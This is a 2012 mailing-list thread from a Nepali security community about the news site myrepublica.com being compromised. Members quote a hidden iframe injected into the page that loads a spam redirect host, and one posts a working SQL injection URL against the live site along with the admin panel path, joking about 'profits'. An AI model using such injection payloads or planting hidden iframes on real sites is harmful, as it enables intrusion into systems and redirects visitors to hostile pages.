MyRepublica website seems to be compromised.

[bibeks...@gmail.com]

When browsing myrepublica website, saw that it didn't stop loading pages.

A quick look at the html source looks like the site has been compromised.

Anyone knows any idea how to get to the developers of myrepublica? I tried posting it on their facebook page but to no response.

--
Bibek Shrestha
bibekshrestha at gmail dot com
Twitter: http://twitter.com/bibstha

"You mustn't be afraid to dream a little bigger, darling.", Eames to Arthur, Inception 2010

[Bipin Gautam]

Hi,

Any Proof of concept ? Screenshot ? Please back your claim with some
evidence. :)

Thanks,
-bipin

> --
> You received this message because you are subscribed to the Google Groups
> "NepSecure (Nepali computer security and hacking community )" group.
>
> LEGAL DISCLAIMER:
> https://groups.google.com/group/nepsecure/msg/def6373e6378d035
>
>

[rhoit]

seems ok! opening fine!

[bibstha]

Take a look at the source of myrepublica.com

$ curl http://www.myrepublica.com/portal/ | tail

<iframe width="3" height="3" frameborder="0" src="http://click.k8877.org/feed/xml.php?uid=232&frames=3"></iframe>

</body>

and click.k8877.org is a spamming site that redirects you on and on to different websites.

Does myrepublica.com stop loading? For me in chrome, it does not stop loading, the last script keeps on redirecting me to different websites.

On Tuesday, December 18, 2012 6:48:52 AM UTC+1, Rho wrote:

seems ok! opening fine!

[Samar Dhwoj Acharya]

SQL Injection exists in the site. (Check this: http://www.myrepublica.com/portal/index.php?action=pages&page_id=-9999+union+all+select+1,2,@@version,4,5)

And, too bad robots.txt reveals the admin url (acccess admin panel @ /adminsite/). Then, iframe injection, defacements, etc... Profits :D
The thing to be noted is that it is one of the high traffic sites from Nepal.

[Samar Dhwoj Acharya]

& I guess Iframe injection has been fixed. Can't see anything:

$  wget http://myrepublica.com -O - | grep iframe

On Tuesday, December 18, 2012 8:12:51 PM UTC+5:45, bibstha wrote: